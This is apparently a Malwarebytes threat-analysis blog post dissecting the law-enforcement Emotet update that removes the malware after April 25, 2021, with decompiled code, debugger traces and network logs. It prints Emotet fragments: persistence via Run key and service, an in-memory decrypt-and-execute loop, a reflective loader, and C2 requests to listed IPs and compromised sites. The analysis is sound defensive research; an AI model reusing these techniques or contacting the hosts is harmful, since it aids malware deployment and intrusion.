

# Cleaning up after Emotet: the law enforcement file

[blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/](https://blog.malwarebytes.com/threat-analysis/2021/01/cleaning-up-after-emotet-the-law-enforcement-file/)

Threat Intelligence Team

January 29, 2021



## **Update 2021-04-25:**

Today at 1:00 PM, our [#Emotet](#)-infected machine that had received the special law enforcement file triggered its uninstallation routine.

More details here: <https://t.co/LfdPaNXiFm> [pic.twitter.com/ewTGpg17Ba](https://pic.twitter.com/ewTGpg17Ba)

— Malwarebytes Threat Intelligence (@MBThreatIntel) [April 25, 2021](#)

*This blog post was authored by Hasherezade and Jérôme Segura*

Emotet has been the most wanted malware for several years. The large botnet is responsible for sending millions of spam emails laced with malicious attachments. The once banking Trojan turned into loader was responsible for costly compromises due to its relationship with ransomware gangs.

On January 27, Europol [announced](#) a global operation to take down the botnet behind what it called the most dangerous malware by gaining control of its infrastructure and taking it down from the inside.

Shortly thereafter, Emotet controllers started to deliver a special payload that had code to remove the malware from infected computers. This had not been formally clarified just yet and some details around it were not quite clear. In this blog we will review this update and

how it is meant to work.

## Discovery

---

Shortly after the Emotet takedown, a researcher observed a new payload pushed onto infected machines with a code to remove the malware at a specific date.

That updated bot contained a cleanup routine responsible for uninstalling Emotet after the April 25 2021 deadline. The original report mentioned March 25 but since the months are counted from 0 and not from 1, the third month is in reality April.

This special update was later confirmed in a press release by the U.S. Department of Justice in their affidavit.

On or about January 26, 2021, leveraging their access to Tier 2 and Tier 3 servers, agents from a trusted foreign law enforcement partner, with whom the FBI is collaborating, replaced Emotet malware on servers physically located in their jurisdiction with a file created by law enforcement

BleepingComputer mentions that the foreign law enforcement partner is Germany's Federal Criminal Police (Bundeskriminalamt or BKA).

In addition to the cleanup routine, which we describe in the next section, this "law enforcement file" contains an alternative execution path that is followed if the same sample runs before the given date.

## The uninstaller

---

The payload is a 32 bit DLL. It has a self-explanatory name (EmotetLoader.dll) and 3 exports which all lead to the same function.

Offset	Name	Value	Meaning
49DF0	Characte...	0	
49DF4	TimeDate...	FFFFFFFF	niedziela, 07.02.2106 06:28:15 UTC
49DF8	MajorVer...	0	
49DFA	MinorVer...	0	
49DFC	Name	4AC36	EmotetLoader.dll
49E00	Base	1	
49E04	NumberO...	3	
49E08	NumberO...	3	
49E0C	AddressO...	4AC18	
49E10	AddressO...	4AC24	
49E14	AddressO...	4AC30	

Exported Functions [ 3 entries ]				
Offset	Ordinal	Function RV	Name RVA	Name
49E18	1	5940	4AC47	Control_RunDLL
49E1C	2	5940	4AC56	RunDLL
49E20	3	5940	4AC5D	ShowDialogA

If we look inside this exported function, we can see 3 subroutines:

```

1 void __cdecl __noreturn ShowDialogA(int a1, int a2)
2 {
3     int savedregs; // [esp+0h] [ebp+0h] BYREF
4
5     \uninstall_in_april();
6     search_processes((int)&savedregs);
7     decrypt_and_run_code(a1, a2);
8 }

```

The first one is responsible for the aforementioned cleanup. Inside, we can find the date check:


```

1 HANDLE uninstall_in_april()
2 {
3     __time64_t deadline_val; // rax
4     HANDLE result; // eax
5     __time64_t time; // [esp+0h] [ebp-10h] BYREF
6
7     deadline.tm_year = 121;
8     deadline.tm_mon = 3;
9     deadline.tm_mday = 25;
10    deadline.tm_hour = 12;
11    deadline.tm_min = 0;
12    _time64(&time);
13    deadline_val = _mktime64(&deadline);
14    *(double *)&time = _difftime64(time, deadline_val);
15    if ( *(double *)&time > 0.0 ) // did the deadline pass?
16        \uninstall_emotet();
17    result = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)uninstall_emotet_thread, 0, 0, 0);
18    if ( result != (HANDLE)-1 )
19        result = (HANDLE)CloseHandle(result);
20    return result;
21 }

```

If the deadline already passed, the uninstall routine is called immediately. Otherwise the thread is run repeatedly doing the same time check, and eventually calling the deletion code if the date has passed.

```
1 void __stdcall __noreturn uninstall_emotet_thread(LPVOID lpThreadParameter)
2 {
3     __time64_t v1; // rax
4     __time64_t Time1; // [esp+10h] [ebp-10h] BYREF
5
6     do
7     {
8         Sleep(0xEA60u);
9         _time64(&Time1);
10        v1 = _mktime64(&deadline);
11    }
12    while ( _difftime64(Time1, v1) <= 0.0 );
13    uninstall_emotet();
14 }
```



The current time is compared with the deadline in a loop. The loop exits only if the deadline is passed, and then proceeds to the uninstallation routine.

The uninstall routine itself is very simple. It deletes the service associated with Emotet, deletes the run key, attempts (but fails) to move the file to %temp% and then exits the process.

```

36  if ( v15 )
37  {
38      v1 = OpenSCManagerW(0, 0, 0xF003Fu);
39      v2 = v1;
40      if ( v1 )
41      {
42          v3 = (const WCHAR *)lpServiceName;
43          if ( v16 >= 8 )
44              v3 = lpServiceName[0];
45          v4 = OpenServiceW(v1, v3, 0x10000u);
46          v5 = v4;
47          if ( v4 )
48          {
49              DeleteService(v4);
50              CloseHandle(v5);
51          }
52          CloseHandle(v2);
53      }
54      else if ( !RegCreateKeyExW(
55                  HKEY_CURRENT_USER,
56                  L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
57                  0,
58                  0,
59                  0,
60                  2u,
61                  0,
62                  &phkResult,
63                  0) )
64      {
65          v6 = (const WCHAR *)get_path_at(lpServiceName);
66          RegDeleteValueW(phkResult, v6);
67          CloseHandle(phkResult);
68      }
69      v7 = sub_10005980(v11);
70      LOBYTE(v18) = 1;
71      v8 = sub_10005C40(v12);
72      v10 = (const WCHAR *)get_path_at(v7);
73      v9 = (const WCHAR *)get_path_at(v8);
74      MoveFileW(v9, v10);
75      sub_10002EA0(v12);
76      sub_10002EA0(v11);
77  }
78  ExitProcess(0);

```

Inside

the function: "uninstall\_emotet"

As we know by observing the regular Emotet, it achieves persistence in two alternative ways.

### Run key

%SystemRoot%\Microsoft\Windows\CurrentVersion\Run		
Name	Type	Data
(Default)	REG_SZ	(value not set)
NVdHCVqrTUYsZC	REG_SZ	C:\WINDOWS\SysWOW64\rundll32.exe "C:\Users\Bryan\AppData\Local\Mzasszdjzlxwqm\hgzijjummvveg.phs",ShowDialogA

### Microsoft\CurrentVersion\Run

This type of installation does not require elevation. In such a case, the Emotet DLL is copied into `%APPDATA%\[random dir name]\[random DLL name].[random extention]`.

### System Service

Name	Type	Data
(Default)	REG_SZ	(value not set)
Description	REG_SZ	Provides infrastructure support for the Microsoft Store. This service is started on demand and if disabled ap
DisplayName	REG_SZ	uottoafwklz.ugs
ErrorControl	REG_DWORD	0x00000000 (0)
ImagePath	REG_EXPAND_SZ	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Ethps\uottoafwklz.ugs",Control_RunDLL
ObjectName	REG_SZ	LocalSystem
Start	REG_DWORD	0x00000002 (2)
Type	REG_DWORD	0x00000010 (16)
WOW64	REG_DWORD	0x0000014c (332)

HKLM\System\CurrentControlSet\Service\

If the sample was run with Administrator privileges, it installs itself as a system service.. The original DLL is copied into `C:\Windows\SysWow64\[random dir name]\[random DLL name].[random extention]` .

For this reason, the cleanup function has to take both scenarios into account.

We noticed the developers made a mistake in the code that's supposed to move the law enforcement file into the %temp% directory:

```
GetTempFileNameW(Buffer, L"UPD", 0, TempFileName)
```

The "0" should have been a "1" because according to the [documentation](#), *if uUnique is not zero, you must create the file yourself. Only a file name is created, because GetTempFileName is not able to guarantee that the file name is unique.*

CreateFile	C:\Users\	\AppData\Local\Temp\UPDC130.tmp	SUCCESS
CloseFile	C:\Users\	\AppData\Local\Temp\UPDC130.tmp	SUCCESS
CreateFile	C:\Users\	\AppData\Local\Tmmeudageixm\fpqukdpxolx.vwg	SUCCESS
QueryAttributeTagFile	C:\Users\	\AppData\Local\Tmmeudageixm\fpqukdpxolx.vwg	SUCCESS
QueryBasicInformati...	C:\Users\	\AppData\Local\Tmmeudageixm\fpqukdpxolx.vwg	SUCCESS
CreateFile	C:\Users\	\AppData\Local\Temp	SUCCESS
NotifyChangeDirect...	C:\Users\	\AppData\Local	SUCCESS
SetRenameInformat...	C:\Users\	\AppData\Local\Tmmeudageixm\fpqukdpxolx.vwg	NAME COLLISION
CloseFile	C:\Users\	\AppData\Local\Temp	SUCCESS
CloseFile	C:\Users\	\AppData\Local\Tmmeudageixm\fpqukdpxolx.vwg	SUCCESS

The intention was to generate a temporary path, but because of using the wrong value in the parameter uUnique, not only was the path generated, but the file was also created. That lead to the further name collision and as a result, the file was not moved.

However, this does not change the fact that the malware has been neutered and is harmless since it won't run as its persistence mechanisms have been removed.

If the aforementioned deletion routine was called immediately, the other two functions from the initial export are not getting run (the process terminates at the end of the routine, calling `ExitProcess` ). But this happens only if the sample has been run after April 25.

## The alternative execution path

Now let's take a look at what happens in the alternative scenario when the uninstall routine isn't immediately called.

```
1 void __cdecl __noreturn ShowDialogA(int a1, int a2)
2 {
3     int savedregs; // [esp+0h] [ebp+0h] BYREF
4
5     uninstall in april();
6     search_processes((int)&savedregs);
7     decrypt_and_run_code(a1, a2);
8 }
```

After the waiting thread is run, the execution reaches two other functions. The first one enumerates running processes, and searches for the parent process of the current one.

```
64 result = 0;
65 current_process = GetCurrentProcessId();
66 v2 = CreateToolhelp32Snapshot(2u, 0);
67 if ( v2 != (HANDLE)-1 )
68 {
69     memset(&pEntry.cntUsage, 0, 0x228u);
70     pEntry.dwSize = 556;
71     if ( Process32FirstW(v2, &pEntry) )
72     {
73         while ( pEntry.th32ProcessID != current_process )
74         {
75             if ( !Process32NextW(v2, &pEntry) )
76                 goto LABEL_7;
77         }
78         result = pEntry.th32ParentProcessID;
79     }
80 LABEL_7:
81     CloseHandle(v2);
82     _parent_pid = result;
```

Then it checks the process name if it is "explorer.exe" or "services.exe", followed by reading parameters given to the parent.

```
29 LOWORD(v10[0]) = 0;
30 sub_10004500(v10, L"explorer.exe", 12);
31 LOBYTE(v21) = 1;
32 v16 = 1;
33 v15 = 1;
34 v1 = 1;
35 if ( !(unsigned __int8)sub_10005BA0(v18, v10) )
36 {
37     v13 = 0;
38     v14 = 7;
39     LOWORD(Block[0]) = 0;
40     sub_10004500(Block, L"services.exe", 12);
41     v16 = 3;
42     if ( !(unsigned __int8)sub_10005BA0(v18, Block) )
43         v1 = 0;
44 }
```

## Running the next stage

The next routine decrypts and loads a second stage payload from the hardcoded buffer.

```

54 memmove(buf, &encrypted_buf, 0x1C261u);
55 sub_10005640(v17);
56 v5 = 0;
57 v6 = 0;
58 for ( i = 0; i < 0x1C261; ++i )
59 {
60     v8 = &v19[(unsigned __int8)++v5];
61     v9 = *v8;
62     v14 = *v8 + v6;
63     v10 = &v19[v14];
64     *v8 = *v10;
65     *v10 = v9;
66     v6 = v14;
67     *((_BYTE *)buf + i) ^= v19[(unsigned __int8)(v9 + *v8)];
68 }
69 ((void (__cdecl *) (void *, HMODULE))buf)(buf, hModule); // run the code from the decrypted buffer
70 v20 = -1;

```

The hardcoded buffer is decrypted with the above loop, and then executed  
 Redirection of the flow to the decrypted buffer (via “ `call edi` “):



CPU | Graph | Log | Notes | Breakpoints | Memory Map | Call Stack | SI

67015896	0FB601	movzx eax,byte ptr ds:[ecx]
67015899	8802	mov byte ptr ds:[edx],al
6701589B	8819	mov byte ptr ds:[ecx],bl
6701589D	0FB60A	movzx ecx,byte ptr ds:[edx]
670158A0	0FB6C3	movzx eax,bl
670158A3	03C8	add ecx,eax
670158A5	0FB6C1	movzx eax,cl
670158A8	8A8D D3FEFFFF	mov cl,byte ptr ss:[ebp-12D]
670158AE	0FB68405 F0FEFFFF	movzx eax,byte ptr ss:[ebp+eax-110]
670158B6	30043E	xor byte ptr ds:[esi+edi],al
670158B9	46	inc esi
670158BA	81FE 61C20100	cmp esi,1C261
670158C0	^ 72 B2	jb emotetloader.67015874
670158C2	FF35 A8DD0567	push dword ptr ds:[6705DDA8]
670158C8	57	push edi
EIP 670158C9	FFD7	call edi
670158CB	C745 FC FFFFFFFF	mov dword ptr ss:[ebp-4],FFFFFFFF

edi=9C0000

.text:670158C9 emotetloader.dll:\$58C9 #4CC9

Dump 1 | Dump 2 | Dump 3 | Dump 4 | Dump 5 | Watch 1 | [x=] Locals | Str

Address	Hex	ASCII
009C0000	E9 00 C0 01 00 4D 5A 90 00 03 00 00 00 04 00 00	.A..MZ.....
009C0010	00 FF FF 00 00 B8 00 00 00 00 00 00 00 00 40 00 00	.yy.....@..
009C0020	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
009C0030	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
009C0040	00 C8 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01	.E.....o...i!..
009C0050	4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20	LI!This program
009C0060	63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E	cannot be run in
009C0070	20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00	DOS mode...\$. .
009C0080	00 00 00 00 00 0A 38 4A B9 4E 5A 24 EA 4E 5A 24	.....;J'NZ\$eNZ\$
009C0090	EA 4E 5A 24 EA 33 23 C1 EA C0 58 24 EA 33 23 F8	eNZ\$e3#AeA[e3#o
009C00A0	EA 4F 5A 24 EA 33 23 FA EA 4F 5A 24 EA 52 69 63	eOZ\$e3#ueOZ\$eRiC
009C00B0	68 4E 5A 24 EA 00 00 00 00 00 00 00 00 00 00 00	hNZ\$e.....
009C00C0	00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00	.....PE.
009C00D0	00 4C 01 04 00 5F E7 E8 5F 00 00 00 00 00 00 00	.L..._çè.....
009C00E0	00 E0 00 02 21 08 01 0C 00 00 AA 01 00 00 1C 00	.à.!.....a.....
009C00F0	00 00 00 00 00 E4 DF 00 00 00 10 00 00 00 00 C0 01	.....äß.....A.
009C0100	00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00	.....
009C0110	00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 02	.....
009C0120	00 00 04 00 00 00 00 00 00 02 00 40 01 00 00 10	.....@.....
009C0130	00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00	.....
009C0140	00 10 00 00 00 10 C0 01 00 58 00 00 00 00 00 00	.....A..X.....
009C0150	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
009C0160	00 00 00 00 00 00 00 00 00 00 00 00 00 00 F0 01	.....ð.
009C0170	00 F8 01 00 00 00 00 00 00 00 00 00 00 00 00 00	.ø.....
009C0180	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
009C0190	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
009C01A0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
009C01B0	00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00	.....
009C01C0	00 00 00 00 00 2E 74 65 78 74 00 00 00 C5 A8 01	.....text...A.
009C01D0	00 00 10 00 00 0E AA 01 00 00 04 00 00 00 00 00	.....a.....
009C01E0	00 00 00 00 00 00 00 00 00 20 00 00 60 2E 72 64	.....rd
009C01F0	61 74 61 00 00 68 00 00 00 00 C0 01 00 00 02 00	ata..h...A.....

The next PE is revealed: X.dll:

Offset	Name	Value	Meaning
1AE10	Characteri...	0	
1AE14	TimeDateS...	5FE8E75E	niedziela, 27.12.2020 19:58:22 UTC
1AE18	MajorVersion	0	
1AE1A	MinorVersion	0	
1AE1C	Name	1C04C	X.dll
1AE20	Base	1	
1AE24	NumberOf...	2	
1AE28	NumberOf...	2	
1AE2C	AddressOf...	1C038	
1AE30	AddressOf...	1C040	
1AE34	AddressOf...	1C048	

Exported Functions [ 2 entries ]						
Offset	Ordinal	Function RV	Name RVA	Name	Forwarder	
1AE38	1	1B520	1C052	Control_RunDLL		
1AE3C	2	1B5A4	1C061	RunDLL		

After decrypting the payload, the execution is redirected to the beginning of the revealed buffer that starts with a jump:

```

CPU 32-bit | Graph | Log | Notes | Breakpoints | Memory Map | Call Stack
-----|-----|-----|-----|-----|-----|-----
EBI | 009C0000 | E9 00C00100 | jmp 9DC005
    | 009C0005 | 4D | dec ebp
    | 009C0006 | 5A | pop edx
    | 009C0007 | 90 | nop
    | 009C0008 | 0003 | add byte ptr ds:[ebx], al
    | 009C000A | 0000 | add byte ptr ds:[eax], al
    | 009C000C | 000400 | add byte ptr ds:[eax+eax], al
    | 009C000F | 0000 | add byte ptr ds:[eax], al
    | 009C0011 | FF |
  
```

This jump leads to a reflective loader routine. After mapping the DLL to a virtual format, in the freshly allocated area in the memory, the loader redirects the execution there.

```

009DC228 | 8545 00 | mov dword ptr [ebp+0], ecx
009DC228 | 8B48 04 | mov ecx, dword ptr ds:[eax+4]
009DC22E | 85C9 | test ecx, ecx
009DC230 | 74 05 | jne 9DC1A5
009DC236 | 8B75 F8 | mov esi, dword ptr ss:[ebp-8]
009DC239 | 8B46 28 | mov eax, dword ptr ds:[esi+28]
009DC23C | 6A 00 | push 0
009DC23E | 6A 01 | push 1
009DC240 | FF75 0C | push dword ptr ss:[ebp+C]
009DC243 | 03C3 | add eax, ebx
009DC245 | FFDB | call eax
009DC247 | 8B46 78 | mov eax, dword ptr ds:[esi+78]
009DC24A | 8B4418 1C | mov eax, dword ptr ds:[eax+ebx+1C]
009DC24E | 8B0418 | mov eax, dword ptr ds:[eax+ebx]
009DC251 | 03C3 | add eax, ebx
009DC253 | FFDB | call eax
009DC255 | 5E | pop esi
009DC256 | 5B | pop ebx
009DC257 | B8 01000000 | mov eax, 1
009DC25C | 5F | pop edi
009DC25D | 8BES | mov esp, ebp
009DC25F | 5D | pop ebp
009DC260 | C3 | ret
  
```

First, the `DllMain` of X.dll is called (it is used for the initialization only). Then, the execution is redirected to one of the exported functions – in the currently analyzed case it is `Control_RunDll`.

The execution is continued by the second dll (X.dll). The functions inside this module are obfuscated.

009FB520	push ebp	inside the payload: Control_RunDll
009FB521	mov ebp,esp	
009FB523	sub esp,10	
009FB526	mov dword ptr ss:[ebp-4],A60F	
009FB52D	xor edx,edx	
009FB52F	shr dword ptr ss:[ebp-4],A	
009FB533	or dword ptr ss:[ebp-4],41DE99A	
009FB53A	mov eax,dword ptr ss:[ebp-4]	
009FB53D	push 71	
009FB53F	pop ecx	
009FB540	div ecx	
009FB542	mov dword ptr ss:[ebp-4],eax	
009FB545	xor dword ptr ss:[ebp-4],92347	
009FB54C	mov dword ptr ss:[ebp-8],63AA	[ebp-8]: "PE"
009FB553	shl dword ptr ss:[ebp-8],6	[ebp-8]: "PE"
009FB557	xor dword ptr ss:[ebp-8],18F551	[ebp-8]: "PE"
009FB55E	mov dword ptr ss:[ebp-10],8A1E	
009FB565	or dword ptr ss:[ebp-10],A78ADF1F	
009FB56C	xor dword ptr ss:[ebp-10],A78A9FCB	
009FB573	mov dword ptr ss:[ebp-C],CC64	
009FB57A	xor dword ptr ss:[ebp-C],ECC4B5E5	
009FB581	xor dword ptr ss:[ebp-C],ECC45CD5	
009FB588	mov eax,dword ptr ss:[ebp-8]	[ebp-8]: "PE"
009FB588	mov eax,dword ptr ss:[ebp-4]	
009FB58E	call 9F53C0	
009FB593	mov eax,dword ptr ss:[ebp-C]	
009FB596	mov eax,dword ptr ss:[ebp-10]	
009FB599	push ecx	
009FB59A	call 9F8256	
009FB59F	pop ecx	
009FB5A0	mov esp,ebp	
009FB5A2	pop ebp	
009FB5A3	ret	



The payload that is called now looks very similar to the regular Emotet payload. Analogical DLL, and also named X.dll such as: [this one](#) could be found in earlier Emotet samples (without the cleanup routine), for example in [this sample](#).

### The second stage payload: X.dll

The second stage payload [X.dll](#) is a typical Emotet DLL, loaded in case the hardcoded deadline didn't pass yet.

This DLL is heavily obfuscated and all the used APIs are loaded dynamically. Also their parameters are not readable – they are dynamically calculated before use, sometimes with the help of a long chain of operations involving many variables:

```
.text:10016F5B xor [ebp+var_8], 0A13F2CE0h
.text:10016F62 mov [ebp+var_4], 95C8h
.text:10016F69 shr [ebp+var_4], 0Eh
.text:10016F6D add [ebp+var_4], 0CF58h
.text:10016F74 xor [ebp+var_4], 0D1D7h
.text:10016F7B mov eax, [ebp+var_4]
.text:10016F7E mov eax, [ebp+var_8]
.text:10016F81 push 5D8F3128h
.text:10016F86 push ecx
.text:10016F87 push 270h
.text:10016F8C mov ecx, 3CB036D5h
.text:10016F91 call sub_10006248
.text:10016F96 add esp, 0Ch
.text:10016F99 push [ebp+arg_1C]
.text:10016F9C push [ebp+arg_18]
.text:10016F9F push 0FFFFFFFh
.text:10016FA1 push [ebp+arg_0]
.text:10016FA4 push esi
.text:10016FA5 call eax ; wininet.HttpSendRequestW
.text:10016FA7 pop esi
.text:10016FA8 mov esp, ebp
.text:10016FAA pop ebp
```

This type of obfuscation is typical for Emotet's payloads, and it is designed to confuse researchers. Yet, thanks to tracing we were able to reconstruct what APIs are being called at what offsets.

The payload has two alternative paths of execution. First it checks if it was already installed. If not, it follows the first execution path, and proceeds to install itself. It generates a random installation name, and moves itself under this name into a specific directory, at the same time adding persistence. Then it re-runs itself from the new location.

If the payload detects that it was run from the destination path, it takes an alternative execution path instead. It connects to the C2 and communicates with it.

```

70886F6D add dword ptr ss:[ebp-4],CF58
70886F74 xor dword ptr ss:[ebp-4],D1D7
70886F7B mov eax,dword ptr ss:[ebp-4]
70886F7E mov eax,dword ptr ss:[ebp-8]
70886F81 push 5D8F3128
70886F86 push ecx
70886F87 push 270
70886F8C mov ecx,3CB036D5
70886F91 call x.70876248
70886F96 add esp,C
70886F99 push dword ptr ss:[ebp+24]
70886F9C push dword ptr ss:[ebp+20]
70886F9F push FFFFFFFF
70886FA1 push dword ptr ss:[ebp+8]
70886FA4 push esi
70886FA5 call eax
70886FA7 pop esi
70886FA8 mov esp,ebp
70886FAA pop ebp

```

[ebp+8]:L"DNT: 0\r\nReferer: 80.158.3.161/i8funy5rv04bwu1a/\r\nContent-Type: multipart/form-data; boundary=-----GmggQLhRJI0ZRuuEhSKo\r\n"

HttpSendRequestw

dword ptr ss:[ebp+8]=[0113EB54 &L"DNT: 0\r\nReferer: 80.158.3.161/i8funy5rv04bwu1a/\r\nContent-Type: multipart/form-data; boundary=-----GmggQLhRJI0ZRuuEhSKo\r\n"]

.text:70886FA1 x.dll:\$16FA1 #163A1

Address	Hex	ASCII
0113F140	44 00 4E 00	D.N.T.: .0....
0113F150	52 00 65 00	R.e.f.e.r.e.r.: .
0113F160	20 00 38 00	.8.0...1.5.8...
0113F170	33 00 2E 00	3...1.6.1./i.8.
0113F180	66 00 75 00	f.u.n.y.5.r.v.0.
0113F190	34 00 62 00	4.b.w.u.1.a./...
0113F1A0	0A 00 43 00	.C.o.n.t.e.n.t.
0113F1B0	2D 00 54 00	-.T.y.p.e.: .m.
0113F1C0	75 00 6C 00	u.l.t.i.p.a.r.t.
0113F1D0	2F 00 66 00	/.f.o.r.m.-d.a.
0113F1E0	74 00 61 00	t.a.; .b.o.u.n.
0113F1F0	64 00 61 00	d.a.r.y.=.-.-.-
0113F200	2D 00 2D 00	-.-.-.-.-.-.-.
0113F210	2D 00 2D 00	-.-.-.-.-.-.-.
0113F220	2D 00 47 00	-.G.g.m.g.Q.L.h.
0113F230	52 00 4A 00	R.J.I.O.Z.R.U.u.
0113F240	45 00 68 00	E.h.S.K.o.....

The current sample sends a request to one of the sinkholed servers. Content:

L"DNT: 0\r\nReferer: 80.158.3.161/i8funy5rv04bwu1a/\r\nContent-Type: multipart/form-data; boundary=-----GmggQLhRJI0ZRuuEhSKo\r\n"

The following image shows web traffic from a system infected via a malicious document downloading the special update file and reaching back to the command and control server owned by law enforcement:

Host	URL	Body	Process	Comments
ordertaker.jakagroup.com	/2f77k7i6/E/	512	powershell:3...	Compromised site hosting Emotet
edge-tech.uk	/flacon/61R07/	918	powershell:3...	Compromised site hosting Emotet
sollicwebaps.azurewebsites.net	/allam-cycle-1c4gn/KLBX/	338,264	powershell:3...	Emotet payload
190.55.186.229	/ner6z5d4dh/e47cown0z...	512	rundll32:8184	Call to C2
203.157.152.9:7080	/1cvhfsck6o/czlwa886i8...	512	rundll32:8184	Call to C2
157.245.145.87:443	/77frwqx8q2mhdi/zzm8s...	562	rundll32:8184	Call to C2
109.99.146.210:8080	/dpfc/	512	rundll32:8184	Call to C2
116.202.10.123:8080	/79b5wupy1h72aq8w2k/...	413,844	rundll32:8184	Uninstaller update (encoded)
116.202.10.123:8080	/6px17ok/efqo1iwrxcg/b4j...	132	rundll32:8184	
80.158.3.161:443	/6bye/rehbzlr4xm/ujw9fl...	132	rundll32:2276	LE controlled C2

### Motives behind the uninstaller

The version with the uninstaller is now pushed via channels that were meant to distribute the original Emotet. Although currently the deletion routine won't be called yet, the infrastructure behind Emotet is already controlled by law enforcement, so the bots are not able to perform their malicious action.

For victims with an existing Emotet infection, the new version will come as an update, replacing the former one. This is how it will be aware of its installation paths and able to clean itself once the deadline has passed.

Pushing code via a botnet, even with good intentions, has always been a thorny topic mainly because of the legal ramifications such actions imply. The DOJ affidavit makes a note of how the "Foreign law enforcement agents, not FBI agents, replaced the Emotet malware, which is stored on a server located overseas, with the file created by law enforcement".

The lengthy delay for the cleanup routine to activate may be explained by the need to give system administrators time for forensics analysis and checking for other infections.